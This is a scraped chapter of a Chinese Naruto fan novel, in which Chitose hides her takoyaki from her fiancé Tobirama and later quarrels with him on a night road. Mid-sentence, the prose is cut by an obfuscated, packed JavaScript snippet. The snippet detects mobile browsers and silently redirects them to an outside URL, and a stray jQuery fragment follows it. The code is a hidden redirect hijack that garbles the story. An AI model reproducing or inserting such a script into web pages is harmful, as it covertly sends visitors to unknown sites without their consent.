文趣网 > 其他小说 > 宿命 无法改变的宇智波-战国篇 > 122.都怪扉间大人
    “吉川,快走。”

    千岁低呼一声,一手提着章鱼烧,将巡查公文稳稳夹在臂弯,转身便想借着沿街人流悄然离开。

    “千岁大人……您怎么这么急……”

    吉川被她猝不及防的力道拽得一个踉跄,脚步虚浮,险些当场摔倒。

    两人本想借着喧闹人潮隐匿身形、悄然脱身,可下一瞬,一道残影骤然掠至身前。

    银发男人的瞬身术快得让人来不及反应,千岁收势不及,直直撞进一具坚实的胸膛,额角轻轻撞上,传来一阵细微的钝痛。

    她下意识抬眸,撞入千手扉间一双赤色眼眸里。

    心底咯噔一沉。

    糟了。

    她此刻身着警务队制服,分明是公务巡查时间,却私买章鱼烧。如今队内本就有无数人对她年少任职队长一事心存诟病、私下非议,若是被抓着把柄,定然又会多出不少流言闲话。

    心念电转,千岁飞快将提着章鱼烧的手背到身后,眼神慌乱躲闪,下意识朝身旁的吉川递去求助的目光。

    吉川瞬间心领神会,快步上前,悄无声息从她背后接过那份章鱼烧,稳稳替她遮掩。

    与此同时,不远处的日向纱良缓步走近,温柔的目光轻轻扫过面前的两人,嗓音温婉轻柔,看似随口一问,姿态却隐隐带着几分不动声色的上风:

    “扉间大人,我方才回头便不见您踪影,忽然消失至此,是出什么事了吗?”

    吉川悄悄抬眼打量。

    看着眉眼温柔、气度从容的日向纱良,心底瞬间了然。这位日向小姐,绝对是个不好对付的硬茬。

    扉间全然没有回应日向纱良的问话,目光先落在千岁身上,又淡淡扫过一旁暗自藏小吃的吉川,最后视线重新定格在千岁臂弯夹紧的公文卷宗上。

    他顺势抬手,轻轻接过她怀中的公务文件,刻意放柔了语调,轻声发问:

    “天色这么晚,还没有结束巡查工作?”

    千岁愣了一瞬。

    ……他不会是看出自己公务分心,要指责自己工作懈怠、效率松散了吧。

    千岁一时间不知该如何措辞辩解,良久才憋出一句话:

    “我们……我们正在开展食品安全的巡查工作。”

    一旁的吉川立刻接话救场,轻咳一声,一本正经地补充:

    “没错,千岁大人日夜操劳村内治安公务,倒不像扉间大人这般清闲。”

    话语一顿,他目光坦荡扫过扉间与身侧的日向纱良,暗含锋芒,直白补了一句:

    “还有闲暇时间出来逛街散步。”

    千手扉间瞬间听出了他话里藏着的试探。

    今日晚饭后,柱间一时兴起,拉着他出门闲逛,打算看看闹市新开的商铺。行至半路,日向纱良与两人偶遇,柱间性情温和,他碍于两族情面,不便当众回绝,便默许她随行左右。

    方才柱间进店挑选物件,店内人多拥挤、空气嘈杂,他不喜喧闹,便独自站在店外等候,却偏偏被路过的千岁与吉川撞见,酿成这场误会。

    方才远远瞥见千岁的身影,他心头一紧,生怕她多想误会,几乎是下意识便施展瞬身术追来,想要第一时间解释清楚。

    “我与大哥一同出门闲逛,途中偶遇纱良小姐,大哥此刻还在前方店铺挑选物件。”

    扉间语气带着一丝不易察觉的急促。

    “扉间大人倒是好一番急于辩解。”

    吉川毫不留情,一语戳破他的局促。

    吉川,你简直太会说了,一句话就把话题成功转移。

    看到扉间大人没有追问有关公务之事,风向逆转,千岁立刻摆正神色,双手抱臂,摆出一副理直气壮的模样:

    “扉间大人,我可没有您这般闲暇。您已经打扰到我的公务巡查了。”

    扉间见她如此之言,还以为是闹了脾气,心头微软,正欲开口轻声安抚。

    就在此时,挑选完物件的千手柱间缓步走来,目光落在对峙的几人身上,眉眼温和,笑着开口:

    “扉间,你什么时候把千岁也叫过来了?”

    他视线温和扫过一旁的日向纱良,最后落回千岁身上,语气笃定坦荡:

    “纱良小姐,这位便是扉间的未婚妻,千岁。”

    日向纱良早已知晓两人即将成婚的消息,闻言面色平静无波,只是礼貌地朝柱间颔首微笑,全程未曾看向千岁一眼,淡漠疏离。

    吉川认出眼前这位实力震绝忍界的千手柱间,连忙躬身行礼:“柱间大人。”

    上次铁之国之行本就没有吃到热腾的章鱼烧,这一次要是再拖延下去,刚刚买到的刚出炉的的章鱼烧也会变凉。

    千岁心头一动,立刻抓住这个脱身的绝佳契机。她轻咳两声,端起警务队长的公务姿态,礼貌得体地开口:

    “柱间大人,我与吉川还有夜间治安巡查公务在身,不便久留,便不打扰诸位闲谈了。”

    话音落,她立刻暗中示意吉川。

    吉川心领神会,即刻补话:

    “村内治安巡查不容耽搁,属下先行告退。”

    两人话音刚落,同步结印,一个瞬身就不见了踪影。两道利落的身影转瞬消失在喧闹人流之中,不留半点踪迹。

    “等等……”

    扉间下意识抬手,还想唤住她,再多解释几句、消解她所有的别扭与疏离。

    身侧的柱间却笑着伸手按住他的肩膀,眼底满是戏谑打趣,慢悠悠开口:

    “太过粘人,可是会惹人厌烦的哦,扉间。”

    木叶某街巷

    清冷的月光洒落长夜,将少女独行的影子拉得修长单薄。

    刚刚借着瞬身术从商业街顺利脱身之后,她与吉川尚未喘息片刻,街头便传来紧急消息。

    酒馆有人醉酒斗殴、寻衅滋事。

    身为警务队长,千岁与吉川只能立刻赶赴现场处置。碍于木叶律法,面对普通村民,二人不能动用忍术伤人,只能徒手拉扯阻拦、耐心劝架,耗费了极大的力气,才总算将一众打架滋事的醉汉强行分开。

    而方才吉川替她收好、放在路边的两份章鱼烧,等她忙完整场混乱回头去找时,早已不翼而飞、不知所踪。

    相较丢了章鱼烧的千岁,吉川更是倒霉至极。混乱之中,醉酒闹事的客人直接一头栽倒在他身上,又抱又吐,满身污秽狼狈不堪。

    看着下属一脸生不如死、濒临崩溃的模样,千岁心生不忍,索性放他先行回族地换洗休整、好好休息,余下的夜间巡查,由她一人独自完成。

    整条商业街的巡查公务尽数收尾结束时,夜色已深。

    空空荡荡的肚子早已不争气地咕咕作响,腹中饥饿翻涌。可方才卖章鱼烧的小摊婆婆,早已收摊归家。

    千岁抱着怀里一摞厚重的公务卷宗,独自行走在回族地的僻静夜路。远处木叶万家灯火错落交织,晚风穿林而过。

    腹中饥饿再度袭来,又是一阵清晰的咕噜声响起。

    要不是方才被扉间猝不及防拦下撞见,她根本不会慌乱躲藏,早就安安稳稳

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713974|203075||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    吃完了章鱼烧。

    “我的章鱼烧……”

    少女垂着眉眼,在无人的夜路小声呢喃抱怨:

    “都怪扉间大人……”

    埋怨刚落,一道低沉清冽的男声骤然从身后响起,清晰传入耳畔:

    “怎么又怪我了?”

    “唔啊!”

    僻静漆黑的夜路骤然响起人声,千岁吓得心头一跳,浑身微僵,猛地转身回头。

    看清来人是千手扉间的瞬间,她心底的委屈与埋怨瞬间翻涌更甚。这人居然故意躲在身后吓她,实在过分至极。

    “没想到扉间大人还有蹲守别人的癖好。”

    千岁赌气地丢下一句,径直转头迈步前行,刻意将他远远甩在身后,半步不愿回头。扉间却极有耐心,不恼不躁,始终静静跟在她的身后。

    她脚步加快,他便紧随提速;她步伐放缓,他便慢下身形,不远不近始终隔着一段恰到好处的距离,分寸拿捏得小心翼翼,生怕逾矩惹她不快。

    “千岁。”

    他轻声唤她的名字。

    千岁脚步未停,依旧不肯回头。

    扉间终究不再缓步跟随,指尖凝起微末查克拉,瞬身一闪,稳稳落在她身前,径直拦住了她的去路。

    “又是这一招……我额头刚刚被你撞的,现在还疼呢。”

    千岁抬眸看向扉间,脑袋里还记着刚刚在闹市扉间用瞬身术突然而至,她一头撞上去的事情。

    此话一出,扉间眉眼染上一丝担忧,全然信以为真。他微微俯身,目光细细落在她光洁的额间,认真端详,似是执意要找出磕碰的伤痕。

    “哪里疼?”

    “哪里都疼,疼死了。”

    千岁一肚子忙活半日、丢了吃食、受累受气的烦闷无处发泄,此刻尽数撒在他身上,句句带着赌气的意味。

    扉间闻言,再不迟疑,掌心凝起一缕温和细腻的治愈查克拉,轻轻覆在她的额头上。眉眼认真又执拗,细细探查着她的伤势,半点不敢马虎。

    片刻探查过后,他并未察觉到任何磕碰淤伤,也无查克拉紊乱的痕迹,眉头却依旧紧锁,严肃出声:

    “外表看不出异常,不排除颅内轻微磕碰、暗藏出血的可能。”

    千岁简直要被他的话给气晕过去。

    世界上怎会有如此古板较真的男人。

    她再也忍不下去,抬手一把按在他的胸膛,将人推开:

    “扉间大人,你突然出现故意撞我,又乱说话诅咒我脑出血,还毁了我的章鱼烧,我现在不想看见你,我要回家,让我回家。”

    可下一瞬,扉间反手轻轻攥住了她抵在自己胸前的手腕。

    扉间心底一片纷乱。

    她早已是他名正言顺的未婚妻,可他总觉得两人之间依旧隔着一层疏离,相处状态和从前并无两样。

    他心底贪恋此刻的独处时光,只想再多留她片刻,哪怕只是静静站着、多说几句话也好。

    可他性格从来内敛,拉不下脸面示弱,更不懂如何说软话挽留,万般心绪堵在心底,最终只能想起她方才的埋怨,轻声较真发问:

    “我何时毁了你的章鱼烧?”

    千岁一顿。

    她生怕被他追问下去,再度扯出自己公务巡查期间偷偷买小吃的事情。

    方才嚣张赌气的气焰瞬间蔫了大半,慌忙转移说辞:

    “我……我说的不是今天……是上次在铁之国边境,你明明答应我,回木叶就买章鱼烧赔我,到现在都没有兑现。”